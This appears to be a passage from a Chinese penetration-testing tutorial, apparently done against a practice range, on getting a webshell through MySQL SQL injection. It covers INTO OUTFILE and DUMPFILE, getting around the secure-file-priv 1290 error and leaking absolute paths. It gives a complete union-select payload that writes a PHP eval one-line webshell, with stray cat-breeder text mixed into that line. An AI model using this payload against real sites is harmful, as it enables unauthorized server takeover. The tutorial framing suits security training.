记一次简单的从外网到内网渗透

一、SQL注入getshell

1、直接SQL语法写文件

（1）Mysql导出函数：
into outfile
into dumpfile [可以写16进制写入]
（2）1290的安全性报错：
是5.0版本之后，来禁止MySQL给本地存放数据
需要修改MySQL的配置文件写一个：secure-file-priv=来防止1290的安全性报错

（3）这里需要注意：
我们得写绝对路径,绝对路径我们可以通过让网页PHP报错出来，并且双写\来防止\被MySQL转义了

（4）最终语句：（靶场）
宠物猫 异国短毛猫 纯种猫 加菲猫 波斯猫 辛巴猫舍 纯种双色/梵文波斯、异国小猫 CFA注册猫舍 union select 1,’<?php eval($_REQUEST[1230])?>’ into outfile ‘C:\phpStudy\WWW\lele.php’

2、日志法（需要存在堆叠注入才能写shell绕过1290&